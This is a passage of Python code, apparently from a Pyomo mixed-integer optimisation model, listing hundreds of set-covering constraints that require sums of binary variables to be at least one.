m.b317 + m.b329 >= 1) m.c979 = Constraint(expr= m.b305 + m.b317 + m.b326 + m.b330 >= 1) m.c980 = Constraint(expr= m.b305 + m.b317 + m.b325 + m.b331 >= 1) m.c981 = Constraint(expr= m.b305 + m.b317 + m.b324 >= 1) m.c982 = Constraint(expr= m.b305 + m.b317 + m.b321 + m.b331 >= 1) m.c983 = Constraint(expr= m.b305 + m.b317 + m.b321 + m.b326 >= 1) m.c984 = Constraint(expr= m.b305 + m.b317 + m.b320 >= 1) m.c985 = Constraint(expr= m.b305 + m.b316 + m.b330 >= 1) m.c986 = Constraint(expr= m.b305 + m.b316 + m.b326 + m.b331 >= 1) m.c987 = Constraint(expr= m.b305 + m.b316 + m.b325 >= 1) m.c988 = Constraint(expr= m.b305 + m.b316 + m.b321 >= 1) m.c989 = Constraint(expr= m.b305 + m.b315 + m.b331 >= 1) m.c990 = Constraint(expr= m.b305 + m.b315 + m.b326 >= 1) m.c991 = Constraint(expr= m.b305 + m.b315 + m.b321 >= 1) m.c992 = Constraint(expr= m.b305 + m.b314 + m.b331 >= 1) m.c993 = Constraint(expr= m.b305 + m.b314 + m.b326 >= 1) m.c994 = Constraint(expr= m.b305 + m.b314 + m.b321 >= 1) m.c995 = Constraint(expr= m.b305 + m.b312 + m.b328 >= 1) m.c996 = Constraint(expr= m.b305 + m.b312 + m.b326 + m.b329 >= 1) m.c997 = Constraint(expr= m.b305 + m.b312 + m.b325 + m.b330 >= 1) m.c998 = Constraint(expr= m.b305 + m.b312 + m.b324 + m.b331 >= 1) m.c999 = Constraint(expr= m.b305 + m.b312 + m.b323 >= 1) m.c1000 = Constraint(expr= m.b305 + m.b312 + m.b321 + m.b330 >= 1) m.c1001 = Constraint(expr= m.b305 + m.b312 + m.b321 + m.b326 + m.b331 >= 1) m.c1002 = Constraint(expr= m.b305 + m.b312 + m.b321 + m.b325 >= 1) m.c1003 = Constraint(expr= m.b305 + m.b312 + m.b320 >= 1) m.c1004 = Constraint(expr= m.b305 + m.b312 + m.b318 + m.b329 >= 1) m.c1005 = Constraint(expr= m.b305 + m.b312 + m.b318 + m.b326 + m.b330 >= 1) m.c1006 = Constraint(expr= m.b305 + m.b312 + m.b318 + m.b325 + m.b331 >= 1) m.c1007 = Constraint(expr= m.b305 + m.b312 + m.b318 + m.b324 >= 1) m.c1008 = Constraint(expr= m.b305 + m.b312 + m.b318 + m.b321 + m.b331 >= 1) m.c1009 = Constraint(expr= m.b305 + m.b312 + m.b318 + m.b321 + m.b326 >= 1) m.c1010 = Constraint(expr= m.b305 + m.b312 + m.b318 + m.b320 >= 1) m.c1011 = Constraint(expr= m.b305 + m.b312 + m.b317 + m.b330 >= 1) m.c1012 = Constraint(expr= m.b305 + m.b312 + m.b317 + m.b326 + m.b331 >= 1) m.c1013 = Constraint(expr= m.b305 + m.b312 + m.b317 + m.b325 >= 1) m.c1014 = Constraint(expr= m.b305 + m.b312 + m.b317 + m.b321 >= 1) m.c1015 = Constraint(expr= m.b305 + m.b312 + m.b316 + m.b331 >= 1) m.c1016 = Constraint(expr= m.b305 + m.b312 + m.b316 + m.b326 >= 1) m.c1017 = Constraint(expr= m.b305 + m.b312 + m.b316 + m.b321 >= 1) m.c1018 = Constraint(expr= m.b305 + m.b312 + m.b315 + m.b331 >= 1) m.c1019 = Constraint(expr= m.b305 + m.b312 + m.b315 + m.b326 >= 1) m.c1020 = Constraint(expr= m.b305 + m.b312 + m.b315 + m.b321 >= 1) m.c1021 = Constraint(expr= m.b305 + m.b311 + m.b329 >= 1) m.c1022 = Constraint(expr= m.b305 + m.b311 + m.b326 + m.b330 >= 1) m.c1023 = Constraint(expr= m.b305 + m.b311 + m.b325 + m.b331 >= 1) m.c1024 = Constraint(expr= m.b305 + m.b311 + m.b324 >= 1) m.c1025 = Constraint(expr= m.b305 + m.b311 + m.b321 + m.b331 >= 1) m.c1026 = Constraint(expr= m.b305 + m.b311 + m.b321 + m.b326 >= 1) m.c1027 = Constraint(expr= m.b305 + m.b311 + m.b320 >= 1) m.c1028 = Constraint(expr= m.b305 + m.b311 + m.b318 + m.b330 >= 1) m.c1029 = Constraint(expr= m.b305 + m.b311 + m.b318 + m.b326 + m.b331 >= 1) m.c1030 = Constraint(expr= m.b305 + m.b311 + m.b318 + m.b325 >= 1) m.c1031 = Constraint(expr= m.b305 + m.b311 + m.b318 + m.b321 >= 1) m.c1032 = Constraint(expr= m.b305 + m.b311 + m.b317 + m.b331 >= 1) m.c1033 = Constraint(expr= m.b305 + m.b311 + m.b317 + m.b325 >= 1) m.c1034 = Constraint(expr= m.b305 + m.b311 + m.b317 + m.b321 >= 1) m.c1035 = Constraint(expr= m.b305 + m.b311 + m.b316 + m.b331 >= 1) m.c1036 = Constraint(expr= m.b305 + m.b311 + m.b316 + m.b326 >= 1) m.c1037 = Constraint(expr= m.b305 + m.b311 + m.b316 + m.b321 >= 1) m.c1038 = Constraint(expr= m.b305 + m.b310 + m.b330 >= 1) m.c1039 = Constraint(expr= m.b305 + m.b310 + m.b326 + m.b331 >= 1) m.c1040 = Constraint(expr= m.b305 + m.b310 + m.b325 >= 1) m.c1041 = Constraint(expr= m.b305 + m.b310 + m.b321 >= 1) m.c1042 = Constraint(expr= m.b305 + m.b310 + m.b318 + m.b331 >= 1) m.c1043 = Constraint(expr= m.b305 + m.b310 + m.b318 + m.b325 >= 1) m.c1044 = Constraint(expr= m.b305 + m.b310 + m.b318 + m.b321 >= 1) m.c1045 = Constraint(expr= m.b305 + m.b310 + m.b317 + m.b331 >= 1) m.c1046 = Constraint(expr= m.b305 + m.b310 + m.b317 + m.b326 >= 1) m.c1047 = Constraint(expr= m.b305 + m.b310 + m.b317 + m.b321 >= 1) m.c1048 = Constraint(expr= m.b305 + m.b309 + m.b330 >= 1) m.c1049 = Constraint(expr= m.b305 + m.b309 + m.b326 + m.b331 >= 1) m.c1050 = Constraint(expr= m.b305 + m.b309 + m.b325 >= 1) m.c1051 = Constraint(expr= m.b305 + m.b309 + m.b321 >= 1) m.c1052 = Constraint(expr= m.b305 + m.b309 + m.b318 + m.b331 >= 1) m.c1053 = Constraint(expr= m.b305 + m.b309 + m.b318 + m.b326 >= 1) m.c1054 = Constraint(expr= m.b305 + m.b309 + m.b318 + m.b321 >= 1) m.c1055 = Constraint(expr= m.b305 + m.b308 + m.b331 >= 1) m.c1056 = Constraint(expr= m.b305 + m.b308 + m.b326 >= 1) m.c1057 = Constraint(expr= m.b305 + m.b308 + m.b321 >= 1) m.c1058 = Constraint(expr= m.b304 + m.b329 >= 1) m.c1059 = Constraint(expr= m.b304 + m.b326 + m.b330 >= 1) m.c1060 = Constraint(expr= m.b304 + m.b325 + m.b331 >= 1) m.c1061 = Constraint(expr= m.b304 + m.b324 >= 1) m.c1062 = Constraint(expr= m.b304 + m.b321 + m.b331 >= 1) m.c1063 = Constraint(expr= m.b304 + m.b321 + m.b326 >= 1) m.c1064 = Constraint(expr= m.b304 + m.b320 >= 1) m.c1065 = Constraint(expr= m.b304 + m.b318 + m.b330 >= 1) m.c1066 = Constraint(expr= m.b304 + m.b318 + m.b326 + m.b331 >= 1) m.c1067 = Constraint(expr= m.b304 + m.b318 + m.b325 >= 1) m.c1068 = Constraint(expr= m.b304 + m.b318 + m.b321 >= 1) m.c1069 = Constraint(expr= m.b304 + m.b317 + m.b330 >= 1) m.c1070 = Constraint(expr= m.b304 + m.b317 + m.b326 + m.b331 >= 1) m.c1071 = Constraint(expr= m.b304 + m.b317 + m.b325 >= 1) m.c1072 = Constraint(expr= m.b304 + m.b317 + m.b321 >= 1) m.c1073 = Constraint(expr= m.b304 + m.b316 + m.b331 >= 1) m.c1074 = Constraint(expr= m.b304 + m.b316 + m.b326 >= 1) m.c1075 = Constraint(expr= m.b304 + m.b316 + m.b321 >= 1) m.c1076 = Constraint(expr= m.b304 + m.b312 + m.b330 >= 1) m.c1077 = Constraint(expr= m.b304 + m.b312 + m.b326 + m.b331 >= 1) m.c1078 = Constraint(expr= m.b304 + m.b312 + m.b325 >= 1) m.c1079 = Constraint(expr= m.b304 + m.b312 + m.b321 >= 1) m.c1080 = Constraint(expr= m.b304 + m.b312 + m.b318 + m.b331 >= 1) m.c1081 = Constraint(expr= m.b304 + m.b312 + m.b318 + m.b325 >= 1) m.c1082 = Constraint(expr= m.b304 + m.b312 + m.b318 + m.b321 >= 1) m.c1083 = Constraint(expr= m.b304 + m.b312 + m.b317 + m.b331 >= 1) m.c1084 = Constraint(expr= m.b304 + m.b312 + m.b317 + m.b326 >= 1) m.c1085 = Constraint(expr= m.b304 + m.b312 + m.b317 + m.b321 >= 1) m.c1086 = Constraint(expr= m.b304 + m.b311 + m.b330 >= 1) m.c1087 = Constraint(expr= m.b304 + m.b311 + m.b326 + m.b331 >= 1) m.c1088 = Constraint(expr= m.b304 + m.b311 + m.b325 >= 1) m.c1089 = Constraint(expr= m.b304 + m.b311 + m.b321 >= 1) m.c1090 = Constraint(expr= m.b304 + m.b311 + m.b318 + m.b331 >= 1) m.c1091 = Constraint(expr= m.b304 + m.b311 + m.b318 + m.b326 >= 1) m.c1092 = Constraint(expr= m.b304 + m.b311 + m.b318 + m.b321 >= 1) m.c1093 = Constraint(expr= m.b304 + m.b310 + m.b331 >= 1) m.c1094 = Constraint(expr= m.b304 + m.b310 + m.b326 >= 1) m.c1095 = Constraint(expr= m.b304 + m.b310 + m.b321 >= 1) m.c1096 = Constraint(expr= m.b303 + m.b331 >= 1) m.c1097 = Constraint(expr= m.b303 + m.b326 >= 1) m.c1098 = Constraint(expr= m.b303 + m.b321 >= 1) m.c1099 = Constraint(expr= m.b302 + m.b327 >= 1) m.c1100 = Constraint(expr= m.b302 + m.b326 + m.b328 >= 1) m.c1101 = Constraint(expr= m.b302 + m.b325 + m.b329 >= 1) m.c1102 = Constraint(expr= m.b302 + m.b324 + m.b330 >= 1) m.c1103 = Constraint(expr= m.b302 + m.b323 + m.b331 >= 1) m.c1104 = Constraint(expr= m.b302 + m.b322 >= 1) m.c1105 = Constraint(expr= m.b302 + m.b321 + m.b329 >= 1) m.c1106 = Constraint(expr= m.b302 + m.b321 + m.b326 + m.b330 >= 1) m.c1107 = Constraint(expr= m.b302 + m.b321 + m.b325 + m.b331 >= 1) m.c1108 = Constraint(expr= m.b302 + m.b321 + m.b324 >= 1) m.c1109 = Constraint(expr= m.b302 + m.b320 + m.b331 >= 1) m.c1110 = Constraint(expr= m.b302 + m.b320 + m.b326 >= 1) m.c1111 = Constraint(expr= m.b302 + m.b319 >= 1) m.c1112 = Constraint(expr= m.b302 + m.b318 + m.b328 >= 1) m.c1113 = Constraint(expr= m.b302 + m.b318 + m.b326 + m.b329 >= 1) m.c1114 = Constraint(expr= m.b302 + m.b318 + m.b324 + m.b331 >= 1) m.c1115 = Constraint(expr= m.b302 + m.b318 + m.b323 >= 1) m.c1116 = Constraint(expr= m.b302 + m.b318 + m.b321 + m.b329 >= 1) m.c1117 = Constraint(expr= m.b302 + m.b318 + m.b321 + m.b326 + m.b330 >= 1) m.c1118 = Constraint(expr= m.b302 + m.b318 + m.b321 + m.b325 + m.b331 >= 1) m.c1119 = Constraint(expr= m.b302 + m.b318 + m.b321 + m.b324 >= 1) m.c1120 = Constraint(expr= m.b302 + m.b318 + m.b320 >= 1) m.c1121 = Constraint(expr= m.b302 + m.b317 + m.b328 >= 1) m.c1122 = Constraint(expr= m.b302 + m.b317 + m.b326 + m.b329 >= 1) m.c1123 = Constraint(expr= m.b302 + m.b317 + m.b325 + m.b330 >= 1) m.c1124 = Constraint(expr= m.b302 + m.b317 + m.b324 + m.b331 >= 1) m.c1125 = Constraint(expr= m.b302 + m.b317 + m.b323 >= 1) m.c1126 = Constraint(expr= m.b302 + m.b317 + m.b321 + m.b330 >= 1) m.c1127 = Constraint(expr= m.b302 + m.b317 + m.b321 + m.b326 + m.b331 >= 1) m.c1128 = Constraint(expr= m.b302 + m.b317 + m.b321 + m.b325 >= 1) m.c1129 = Constraint(expr= m.b302 + m.b317 + m.b320 >= 1) m.c1130 = Constraint(expr= m.b302 + m.b316 + m.b329 >= 1) m.c1131 = Constraint(expr= m.b302 + m.b316 + m.b326 + m.b330 >= 1) m.c1132 = Constraint(expr= m.b302 + m.b316 + m.b325 + m.b331 >= 1) m.c1133 = Constraint(expr= m.b302 + m.b316 + m.b324 >= 1) m.c1134 = Constraint(expr= m.b302 + m.b316 + m.b321 + m.b331 >= 1) m.c1135 = Constraint(expr= m.b302 + m.b316 + m.b321 + m.b326 >= 1) m.c1136 = Constraint(expr= m.b302 + m.b316 + m.b320 >= 1) m.c1137 = Constraint(expr= m.b302 + m.b315 + m.b330 >= 1) m.c1138 = Constraint(expr= m.b302 + m.b315 + m.b326 + m.b331 >= 1) m.c1139 = Constraint(expr= m.b302 + m.b315 + m.b325 >= 1) m.c1140 = Constraint(expr= m.b302 + m.b315 + m.b321 >= 1) m.c1141 = Constraint(expr= m.b302 + m.b314 + m.b331 >= 1) m.c1142 = Constraint(expr= m.b302 + m.b314 + m.b326 >= 1) m.c1143 = Constraint(expr= m.b302 + m.b314 + m.b321 >= 1) m.c1144 = Constraint(expr= m.b302 + m.b312 + m.b328 >= 1) m.c1145 = Constraint(expr= m.b302 + m.b312 + m.b325 + m.b329 >= 1) m.c1146 = Constraint(expr= m.b302 + m.b312 + m.b324 + m.b330 >= 1) m.c1147 = Constraint(expr= m.b302 + m.b312 + m.b323 + m.b331 >= 1) m.c1148 = Constraint(expr= m.b302 + m.b312 + m.b322 >= 1) m.c1149 = Constraint(expr= m.b302 + m.b312 + m.b321 + m.b329 >= 1) m.c1150 = Constraint(expr= m.b302 + m.b312 + m.b321 + m.b326 + m.b330 >= 1) m.c1151 = Constraint(expr= m.b302 + m.b312 + m.b321 + m.b325 >= 1) m.c1152 = Constraint(expr= m.b302 + m.b312 + m.b320 >= 1) m.c1153 = Constraint(expr= m.b302 + m.b312 + m.b318 + m.b328 >= 1) m.c1154 = Constraint(expr= m.b302 + m.b312 + m.b318 + m.b326 + m.b329 >= 1) m.c1155 = Constraint(expr= m.b302 + m.b312 + m.b318 + m.b325 + m.b330 >= 1) m.c1156 = Constraint(expr= m.b302 + m.b312 + m.b318 + m.b324 + m.b331 >= 1) m.c1157 = Constraint(expr= m.b302 + m.b312 + m.b318 + m.b323 >= 1) m.c1158 = Constraint(expr= m.b302 + m.b312 + m.b318 + m.b321 + m.b330 >= 1) m.c1159 = Constraint(expr= m.b302 + m.b312 + m.b318 + m.b321 + m.b326 + m.b331 >= 1) m.c1160 = Constraint(expr= m.b302 + m.b312 + m.b318 + m.b321 + m.b325 >= 1) m.c1161 = Constraint(expr= m.b302 + m.b312 + m.b318 + m.b320 >= 1) m.c1162 = Constraint(expr= m.b302 + m.b312 + m.b317 + m.b329 >= 1) m.c1163 = Constraint(expr= m.b302 + m.b312 + m.b317 + m.b326 + m.b330 >= 1) m.c1164 = Constraint(expr= m.b302 + m.b312 + m.b317 + m.b325 + m.b331 >= 1) m.c1165 = Constraint(expr= m.b302 + m.b312 + m.b317 + m.b324 >= 1) m.c1166 = Constraint(expr= m.b302 + m.b312 + m.b317 + m.b321 + m.b331 >= 1) m.c1167 = Constraint(expr= m.b302 + m.b312 + m.b317 + m.b321 + m.b326 >= 1) m.c1168 = Constraint(expr= m.b302 + m.b312 + m.b317 + m.b320 >= 1) m.c1169 = Constraint(expr= m.b302 + m.b312 + m.b316 + m.b330 >= 1) m.c1170 = Constraint(expr= m.b302 + m.b312 + m.b316 + m.b326 + m.b331 >= 1) m.c1171 = Constraint(expr= m.b302 + m.b312 + m.b316 + m.b325 >= 1) m.c1172 = Constraint(expr= m.b302 + m.b312 + m.b316 + m.b321 >= 1) m.c1173 = Constraint(expr= m.b302 + m.b312 + m.b315 + m.b331 >= 1) m.c1174 = Constraint(expr= m.b302 + m.b312 + m.b315 + m.b326 >= 1) m.c1175 = Constraint(expr= m.b302 + m.b312 + m.b315 + m.b321 >= 1) m.c1176 = Constraint(expr= m.b302 + m.b311 + m.b328 >= 1) m.c1177 = Constraint(expr= m.b302 + m.b311 + m.b326 + m.b329 >= 1) m.c1178 = Constraint(expr= m.b302 + m.b311 + m.b325 + m.b330 >= 1) m.c1179 = Constraint(expr= m.b302 + m.b311 + m.b324 + m.b331 >= 1) m.c1180 = Constraint(expr= m.b302 + m.b311 + m.b323 >= 1) m.c1181 = Constraint(expr= m.b302 + m.b311 + m.b321 + m.b330 >= 1) m.c1182 = Constraint(expr= m.b302 + m.b311 + m.b321 + m.b326 + m.b331 >= 1) m.c1183 = Constraint(expr= m.b302 + m.b311 + m.b321 + m.b325 >= 1) m.c1184 = Constraint(expr= m.b302 + m.b311 + m.b320 >= 1) m.c1185 = Constraint(expr= m.b302 + m.b311 + m.b318 + m.b329 >= 1) m.c1186 = Constraint(expr= m.b302 + m.b311 + m.b318 + m.b326 + m.b330 >= 1) m.c1187 = Constraint(expr= m.b302 + m.b311 + m.b318 + m.b325 + m.b331 >= 1) m.c1188 = Constraint(expr= m.b302 + m.b311 + m.b318 + m.b324 >= 1) m.c1189 = Constraint(expr= m.b302 + m.b311 + m.b318 + m.b321 + m.b331 >= 1) m.c1190 = Constraint(expr= m.b302 + m.b311 + m.b318 + m.b321 + m.b326 >= 1) m.c1191 = Constraint(expr= m.b302 + m.b311 + m.b318 + m.b320 >= 1) m.c1192 = Constraint(expr= m.b302 + m.b311 + m.b317 + m.b330 >= 1) m.c1193 = Constraint(expr= m.b302 + m.b311 + m.b317 + m.b326 + m.b331 >= 1) m.c1194 = Constraint(expr= m.b302 + m.b311 + m.b317 + m.b325 >= 1) m.c1195 = Constraint(expr= m.b302 + m.b311 + m.b317 + m.b321 >= 1) m.c1196 = Constraint(expr= m.b302 + m.b311 + m.b316 + m.b331 >= 1) m.c1197 = Constraint(expr= m.b302 + m.b311 + m.b316 + m.b326 >= 1) m.c1198 = Constraint(expr= m.b302 + m.b311 + m.b316 + m.b321 >= 1) m.c1199 = Constraint(expr= m.b302 + m.b311 + m.b315 + m.b331 >= 1) m.c1200 = Constraint(expr= m.b302 + m.b311 + m.b315 + m.b326 >= 1) m.c1201 = Constraint(expr= m.b302 + m.b311 + m.b315 + m.b321 >= 1) m.c1202 = Constraint(expr= m.b302 + m.b310 + m.b329 >= 1) m.c1203 = Constraint(expr= m.b302 + m.b310 + m.b326 + m.b330 >= 1) m.c1204 = Constraint(expr= m.b302 + m.b310 + m.b325 + m.b331 >= 1) m.c1205 = Constraint(expr= m.b302 + m.b310 + m.b324 >= 1) m.c1206 = Constraint(expr= m.b302 + m.b310 + m.b321 + m.b331 >= 1) m.c1207 = Constraint(expr= m.b302 + m.b310 + m.b321 + m.b326 >= 1) m.c1208 = Constraint(expr= m.b302 + m.b310 + m.b320 >= 1) m.c1209 = Constraint(expr= m.b302 + m.b310 + m.b318 + m.b330 >= 1) m.c1210 = Constraint(expr= m.b302 + m.b310 + m.b318 + m.b326 + m.b331 >= 1) m.c1211 = Constraint(expr= m.b302 + m.b310 + m.b318 + m.b325 >= 1) m.c1212 = Constraint(expr= m.b302 + m.b310 + m.b318 + m.b321 >= 1) m.c1213 = Constraint(expr= m.b302 + m.b310 + m.b317 + m.b331 >= 1) m.c1214 = Constraint(expr= m.b302 + m.b310 + m.b317 + m.b326 >= 1) m.c1215 = Constraint(expr= m.b302 + m.b310 + m.b317 + m.b321 >= 1) m.c1216 = Constraint(expr= m.b302 + m.b310 + m.b316 + m.b331 >= 1) m.c1217 = Constraint(expr= m.b302 + m.b310 + m.b316 + m.b326 >= 1) m.c1218 = Constraint(expr= m.b302 + m.b310 + m.b316 + m.b321 >= 1) m.c1219 = Constraint(expr= m.b302 + m.b309 + m.b330 >= 1) m.c1220 = Constraint(expr= m.b302 + m.b309 + m.b326 + m.b331 >= 1) m.c1221 = Constraint(expr= m.b302 + m.b309 + m.b325 >= 1) m.c1222 = Constraint(expr= m.b302 + m.b309 + m.b321 >= 1) m.c1223 = Constraint(expr= m.b302 + m.b309 + m.b318 + m.b331 >= 1) m.c1224 = Constraint(expr= m.b302 + m.b309 + m.b318 + m.b326 >= 1) m.c1225 = Constraint(expr= m.b302 + m.b309 + m.b318 + m.b321 >= 1) m.c1226 = Constraint(expr= m.b302 + m.b309 + m.b317 + m.b331 >= 1) m.c1227 = Constraint(expr= m.b302 + m.b309 + m.b317 + m.b326 >= 1) m.c1228 = Constraint(expr= m.b302 + m.b309 + m.b317 + m.b321 >= 1) m.c1229 = Constraint(expr= m.b302 + m.b308 + m.b331 >= 1) m.c1230 = Constraint(expr= m.b302 + m.b308 + m.b326 >= 1) m.c1231 = Constraint(expr= m.b302 + m.b308 + m.b321 >= 1) m.c1232 = Constraint(expr= m.b302 + m.b306 + m.b328 >= 1) m.c1233 = Constraint(expr= m.b302 + m.b306 + m.b326 + m.b329 >= 1) m.c1234 = Constraint(expr= m.b302 + m.b306 + m.b325 + m.b330 >= 1) m.c1235 = Constraint(expr= m.b302 + m.b306 + m.b324 + m.b331 >= 1) m.c1236 = Constraint(expr= m.b302 + m.b306 + m.b323 >= 1) m.c1237 = Constraint(expr= m.b302 + m.b306 + m.b321 + m.b330 >= 1) m.c1238 = Constraint(expr= m.b302 + m.b306 + m.b321 + m.b326 + m.b331 >= 1) m.c1239 = Constraint(expr= m.b302 + m.b306 + m.b321 + m.b325 >= 1) m.c1240 = Constraint(expr= m.b302 + m.b306 + m.b320 >= 1) m.c1241 = Constraint(expr= m.b302 + m.b306 + m.b318 + m.b329 >= 1) m.c1242 = Constraint(expr= m.b302 + m.b306 + m.b318 + m.b326 + m.b330 >= 1) m.c1243 = Constraint(expr= m.b302 + m.b306 + m.b318 + m.b325 + m.b331 >= 1) m.c1244 = Constraint(expr= m.b302 + m.b306 + m.b318 + m.b324 >= 1) m.c1245 = Constraint(expr= m.b302 + m.b306 + m.b318 + m.b321 + m.b331 >= 1) m.c1246 = Constraint(expr= m.b302 + m.b306 + m.b318 + m.b321 + m.b326 >= 1) m.c1247 = Constraint(expr= m.b302 + m.b306 + m.b318 + m.b320 >= 1) m.c1248 = Constraint(expr= m.b302 + m.b306 + m.b317 + m.b329 >= 1) m.c1249 = Constraint(expr= m.b302 + m.b306 + m.b317 + m.b326 + m.b330 >= 1) m.c1250 = Constraint(expr= m.b302 + m.b306 + m.b317 + m.b325 + m.b331 >= 1) m.c1251 = Constraint(expr= m.b302 + m.b306 + m.b317 + m.b324 >= 1) m.c1252 = Constraint(expr= m.b302 + m.b306 + m.b317 + m.b321 + m.b331 >= 1) m.c1253 = Constraint(expr= m.b302 + m.b306 + m.b317 + m.b321 + m.b326 >= 1) m.c1254 = Constraint(expr= m.b302 + m.b306 + m.b317 + m.b320 >= 1) m.c1255 = Constraint(expr= m.b302 + m.b306 + m.b316 + m.b330 >= 1) m.c1256 = Constraint(expr= m.b302 + m.b306 + m.b316 + m.b326 + m.b331 >= 1) m.c1257 = Constraint(expr= m.b302 + m.b306 + m.b316 + m.b325 >= 1) m.c1258 = Constraint(expr= m.b302 + m.b306 + m.b316 + m.b321 >= 1) m.c1259 = Constraint(expr= m.b302 + m.b306 + m.b315 + m.b331 >= 1) m.c1260 = Constraint(expr= m.b302 + m.b306 + m.b315 + m.b326 >= 1) m.c1261 = Constraint(expr= m.b302 + m.b306 + m.b315 + m.b321 >= 1) m.c1262 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b329 >= 1) m.c1263 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b326 + m.b330 >= 1) m.c1264 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b325 + m.b331 >= 1) m.c1265 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b324 >= 1) m.c1266 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b321 + m.b331 >= 1) m.c1267 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b321 + m.b326 >= 1) m.c1268 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b320 >= 1) m.c1269 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b318 + m.b330 >= 1) m.c1270 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b318 + m.b326 + m.b331 >= 1) m.c1271 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b318 + m.b325 >= 1) m.c1272 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b318 + m.b321 >= 1) m.c1273 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b317 + m.b330 >= 1) m.c1274 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b317 + m.b326 + m.b331 >= 1) m.c1275 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b317 + m.b325 >= 1) m.c1276 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b317 + m.b321 >= 1) m.c1277 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b316 + m.b331 >= 1) m.c1278 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b316 + m.b326 >= 1) m.c1279 = Constraint(expr= m.b302 + m.b306 + m.b312 + m.b316 + m.b321 >= 1) m.c1280 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b329 >= 1) m.c1281 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b326 + m.b330 >= 1) m.c1282 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b325 + m.b331 >= 1) m.c1283 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b324 >= 1) m.c1284 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b321 + m.b331 >= 1) m.c1285 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b321 + m.b326 >= 1) m.c1286 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b320 >= 1) m.c1287 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b318 + m.b330 >= 1) m.c1288 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b318 + m.b326 + m.b331 >= 1) m.c1289 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b318 + m.b325 >= 1) m.c1290 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b318 + m.b321 >= 1) m.c1291 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b317 + m.b331 >= 1) m.c1292 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b317 + m.b326 >= 1) m.c1293 = Constraint(expr= m.b302 + m.b306 + m.b311 + m.b317 + m.b321 >= 1) m.c1294 = Constraint(expr= m.b302 + m.b306 + m.b310 + m.b330 >= 1) m.c1295 = Constraint(expr= m.b302 + m.b306 + m.b310 + m.b326 + m.b331 >= 1) m.c1296 = Constraint(expr= m.b302 + m.b306 + m.b310 + m.b325 >= 1) m.c1297 = Constraint(expr= m.b302 + m.b306 + m.b310 + m.b321 >= 1) m.c1298 = Constraint(expr= m.b302 + m.b306 + m.b310 + m.b318 + m.b331 >= 1) m.c1299 = Constraint(expr= m.b302 + m.b306 + m.b310 + m.b318 + m.b326 >= 1) m.c1300 = Constraint(expr= m.b302 + m.b306 + m.b310 + m.b318 + m.b321 >= 1) m.c1301 = Constraint(expr= m.b302 + m.b306 + m.b309 + m.b331 >= 1) m.c1302 = Constraint(expr= m.b302 + m.b306 + m.b309 + m.b326 >= 1) m.c1303 = Constraint(expr= m.b302 + m.b306 + m.b309 + m.b321 >= 1) m.c1304 = Constraint(expr= m.b302 + m.b305 + m.b329 >= 1) m.c1305 = Constraint(expr= m.b302 + m.b305 + m.b326 + m.b330 >= 1) m.c1306 = Constraint(expr= m.b302 + m.b305 + m.b325 + m.b331 >= 1) m.c1307 = Constraint(expr= m.b302 + m.b305 + m.b324 >= 1) m.c1308 = Constraint(expr= m.b302 + m.b305 + m.b321 + m.b331 >= 1) m.c1309 = Constraint(expr= m.b302 + m.b305 + m.b321 + m.b326 >= 1) m.c1310 = Constraint(expr= m.b302 + m.b305 + m.b320 >= 1) m.c1311 = Constraint(expr= m.b302 + m.b305 + m.b318 + m.b330 >= 1) m.c1312 = Constraint(expr= m.b302 + m.b305 + m.b318 + m.b326 + m.b331 >= 1) m.c1313 = Constraint(expr= m.b302 + m.b305 + m.b318 + m.b325 >= 1) m.c1314 = Constraint(expr= m.b302 + m.b305 + m.b318 + m.b321 >= 1) m.c1315 = Constraint(expr= m.b302 + m.b305 + m.b317 + m.b331 >= 1) m.c1316 = Constraint(expr= m.b302 + m.b305 + m.b317 + m.b326 >= 1) m.c1317 = Constraint(expr= m.b302 + m.b305 + m.b317 + m.b321 >= 1) m.c1318 = Constraint(expr= m.b302 + m.b305 + m.b312 + m.b330 >= 1) m.c1319 = Constraint(expr= m.b302 + m.b305 + m.b312 + m.b326 + m.b331 >= 1) m.c1320 = Constraint(expr= m.b302 + m.b305 + m.b312 + m.b325 >= 1) m.c1321 = Constraint(expr= m.b302 + m.b305 + m.b312 + m.b321 >= 1) m.c1322 = Constraint(expr= m.b302 + m.b305 + m.b312 + m.b318 + m.b331 >= 1) m.c1323 = Constraint(expr= m.b302 + m.b305 + m.b312 + m.b318 + m.b326 >= 1) m.c1324 = Constraint(expr= m.b302 + m.b305 + m.b312 + m.b318 + m.b321 >= 1) m.c1325 = Constraint(expr= m.b302 + m.b305 + m.b311 + m.b331 >= 1) m.c1326 = Constraint(expr= m.b302 + m.b305 + m.b311 + m.b326 >= 1) m.c1327 = Constraint(expr= m.b302 + m.b305 + m.b311 + m.b321 >= 1) m.c1328 = Constraint(expr= m.b302 + m.b304 + m.b331 >= 1) m.c1329 = Constraint(expr= m.b302 + m.b304 + m.b326 >= 1) m.c1330 = Constraint(expr= m.b302 + m.b304 + m.b321 >= 1) m.c1331 = Constraint(expr= m.b301 + m.b329 >= 1) m.c1332 = Constraint(expr= m.b301 + m.b326 + m.b330 >= 1) m.c1333 = 